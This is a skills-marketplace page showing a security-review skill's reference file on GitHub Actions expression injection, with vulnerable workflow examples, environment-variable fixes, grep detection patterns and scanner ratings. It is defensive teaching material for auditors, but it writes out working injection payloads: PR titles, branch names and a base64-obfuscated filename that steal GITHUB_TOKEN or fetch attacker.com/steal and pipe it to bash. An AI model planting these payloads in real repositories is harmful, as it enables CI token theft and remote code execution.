All skills
getsentry avatar

/gha-security-review

@e99aa67 official
by Sentrygetsentry/skills1k stars
53

GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.

Use this Skill: https://skilld.dev/gh/getsentry/skills/gha-security-review

This session only. Nothing lands on disk.

referencesexpression-injection.md

≈2.2k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Expression Injection

Overview

Expression injection occurs when GitHub Actions ${{ }} expressions containing attacker-controlled values are used inside run: blocks. The Actions runtime substitutes the expression value before the shell interprets it, allowing shell metacharacters in the value to execute arbitrary commands.


The Vulnerability

# VULNERABLE: PR title directly interpolated into shell
- run: echo "PR Title: ${{ github.event.pull_request.title }}"

If the attacker sets the PR title to:

"; curl https://attacker.com/$(cat $GITHUB_TOKEN) #

After expression substitution, the shell sees:

echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #"

The shell executes echo, then curl, then ignores the rest as a comment.


Injection Techniques

Branch Name Injection

Branch names allow most characters including $, (, ), {, }, and spaces (encoded).

# VULNERABLE
- run: echo "${{ github.head_ref }}" > branch_name.txt

Attack branch name:

dev$({curl,-sSfL,attacker.com/steal}${IFS}|${IFS}bash)

Breakdown:

  • ${IFS} — Internal Field Separator, becomes a space
  • $({curl,-sSfL,attacker.com/steal}) — brace expansion + command substitution
  • The |${IFS}bash pipes the download to bash

Real-world: Used against microsoft/ai-discovery-agent. The payload was embedded in the branch name, and the 2m38s execution gap in the "Save format request data" step confirmed code execution.

Filename Injection

When workflows iterate over PR-modified files:

# VULNERABLE
- run: |
    for file in ${{ steps.changed.outputs.files }}; do
      echo "Processing $file"
    done

Attack filename:

docs/$(echo${IFS}Y3VybCAtc1NmTCBhdHRhY2tlci5jb20vc3RlYWw=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

The base64 decodes to curl -sSfL attacker.com/steal, executed via command substitution in the filename.

Real-world: Used against DataDog/datadog-iac-scanner. Emergency fixes deployed within 9 hours.

PR Title / Body Injection

The most straightforward vector — attacker fully controls PR title and body:

# VULNERABLE
- run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "${{ github.event.pull_request.title }}" >> $GITHUB_STEP_SUMMARY

Payload in PR title:

$(curl -sSfL attacker.com/steal | bash)

Issue / Comment Body Injection

# VULNERABLE
on: issues
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Issue: ${{ github.event.issue.title }}"

Commit Message Injection

On push triggers, commit messages are technically injectable — but only if the push trigger accepts pushes from untrusted sources (e.g., unprotected branches that anyone can push to). On protected branches (e.g., main, master), pushing requires write access, so the attacker already has full repo access and this is not a meaningful finding.

# NOT TYPICALLY VULNERABLE: push to protected branch requires write access
on:
  push:
    branches: [main]
steps:
  - run: echo "Commit: ${{ github.event.commits[0].message }}"

workflow_dispatch Input Injection — NOT A FINDING

workflow_dispatch requires write access to the repository to trigger. Someone with write access can already push arbitrary code directly, so injection via dispatch inputs adds no additional risk. Do not report this pattern.

# NOT A FINDING: requires write access to trigger
on:
  workflow_dispatch:
    inputs:
      version:
        description: 'Version to release'
        required: true
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Releasing ${{ github.event.inputs.version }}"

Detection Patterns

# Find all ${{ }} expressions in run: blocks
grep -n 'run:' .github/workflows/*.yml | while read line; do
  file=$(echo "$line" | cut -d: -f1)
  grep -n '\${{.*}}' "$file"
done

# Specifically look for dangerous expressions in run blocks
grep -B5 -A5 '\${{.*github\.event\.' .github/workflows/*.yml | grep -B5 'run:'

# Find head_ref usage (dangerous in PR-triggered workflows)
grep -rn 'github\.head_ref\|pull_request\.head\.ref\|pull_request\.head\.label' .github/workflows/

# NOTE: Do NOT flag workflow_dispatch inputs — requires write access, not an external threat

The Fix: Environment Variables

The universal fix is to pass expressions through environment variables:

# VULNERABLE
- run: echo "Title: ${{ github.event.pull_request.title }}"

# SAFE: Expression assigned to env var, then quoted in shell
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Why this works:

  1. ${{ }} substitution happens first, setting the env var value
  2. The shell sees $PR_TITLE — a variable reference, not raw content
  3. Shell variable expansion with quotes prevents injection

Important: The shell variable MUST be quoted ("$PR_TITLE", not $PR_TITLE) to prevent word splitting.

Fix Examples

# Branch name — SAFE
- env:
    BRANCH: ${{ github.head_ref }}
  run: echo "$BRANCH" > branch_name.txt

# PR title — SAFE
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "$TITLE" >> $GITHUB_STEP_SUMMARY

# Multiple expressions — SAFE
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Title: $PR_TITLE"
    echo "Branch: $HEAD_REF"

# workflow_dispatch input — SAFE
- env:
    VERSION: ${{ github.event.inputs.version }}
  run: echo "Releasing $VERSION"

Where ${{ }} Is Safe

Expression substitution is NOT dangerous in these contexts:

# SAFE: if: conditions (evaluated by Actions runtime, not shell)
if: ${{ github.event.pull_request.title != '' }}

# SAFE: with: parameters (passed as strings to the action)
- uses: some-action@v1
  with:
    title: ${{ github.event.pull_request.title }}

# SAFE: env: at job/step level (sets variable, doesn't execute)
env:
  TITLE: ${{ github.event.pull_request.title }}

# SAFE: numeric values
- run: echo "PR #${{ github.event.pull_request.number }}"

Attacker-Controlled Expressions Quick Reference

These expressions are dangerous when used in run: blocks because an attacker controls the value:

Expression Attack Vector
github.event.pull_request.title PR title
github.event.pull_request.body PR description
github.event.pull_request.head.ref Branch name
github.event.pull_request.head.label Fork label
github.event.issue.title Issue title
github.event.issue.body Issue body
github.event.comment.body Comment text
github.event.review.body Review text
github.event.discussion.title Discussion title
github.event.discussion.body Discussion body
github.head_ref Branch name (shorthand)
github.event.pages.*.page_name Wiki page name

Safe Expressions (NOT attacker-controlled)

Expression Why Safe
github.event.pull_request.number Numeric only
github.repository / github.repository_owner Repo owner controls
github.actor GitHub username, alphanumeric + hyphens
github.sha Hex string
github.ref_name (on push to protected branch) Protected branch rules apply
secrets.* Not expanded into shell literally
github.run_id / github.run_number Numeric
github.event.inputs.* (workflow_dispatch) Requires write access — not an external threat
github.event.commits[*].message (push to protected) Requires write access

Exploitation Scenario Template

ATTACK: Expression Injection via [source]
ENTRY: Attacker creates [PR/issue/comment] with payload in [field]
PAYLOAD: [exact string the attacker provides]
TRIGGER: Workflow [file:line] runs on [event], expression at line [N]
  expands to shell code
EXECUTION: Shell interprets ${{ }} output as:
  [show the expanded shell command]
IMPACT: [RCE, token theft, etc.] — token permissions: [list]

References

Source: SKILL.md on GitHub

2 alerts1d5 checks · Risk CRITICAL
  • Gen Agent Trust Hub1d

    This skill is a defensive security toolkit designed to audit GitHub Actions workflows for common vulnerabilities. It provides educational references and concrete examples of exploitation techniques such as shell injection, pwn requests, and credential escalation. While the skill contains code snippets and URLs associated with real-world attacks—documented as pedagogical examples to assist auditors—its intent is purely defensive and educational.

  • Socket1d

    2 alerts: gptSecurity

  • Snyk1d

    Risk: LOW · No issues

  • Runlayer7mo

    9/10 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at e99aa67. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub yesterday.

Activeupdated last week
All 1 allowed tools
Read Grep Glob Bash Task
  • github-actions
  • workflow-security
  • ci-cd
  • expression-injection
  • supply-chain
  • pull-request-target
  • credential-theft
  • yaml

README badge

README badge for getsentry/skills/gha-security-review

Audits GitHub Actions workflows for externally-exploitable vulnerabilities including expression injection, credential theft, and pwn-request patterns. The skill traces complete attack paths from fork PRs and comments through to execution, and reports only HIGH and MEDIUM confidence findings with concrete proof-of-concept scenarios.

Generated from the current SKILL.md.

What threat model does this skill use?
The skill focuses on vulnerabilities exploitable by external attackers without write access — those who can open PRs from forks, create issues, and post comments. It does not flag vulnerabilities that require repository write access, such as workflow_dispatch input injection or expression injection in push-only workflows on protected branches.
What confidence levels does this skill report?
Only HIGH and MEDIUM confidence findings. HIGH requires a complete traced attack path with exploitation scenario. MEDIUM indicates a partially confirmed attack path that needs verification. LOW confidence theoretical issues are not reported.
What types of GitHub Actions vulnerabilities does this skill check for?
The skill checks for pwn request exploitation, expression injection, unauthorized command execution via issue comments, credential escalation, config file poisoning, insecure third-party action pinning, and unsafe permissions or secrets scoping.
Does this skill flag all uses of pull_request_target?
No. pull_request_target is only flagged if the workflow also checks out fork code or executes code from the PR. pull_request_target without fork checkout is marked as safe.
Does this skill review workflows in other repositories?
No. The skill reviews workflows in the provided repository only. Dependencies on workflows in other repositories are noted but not audited.

Generated from the current SKILL.md. These answers refresh after source changes.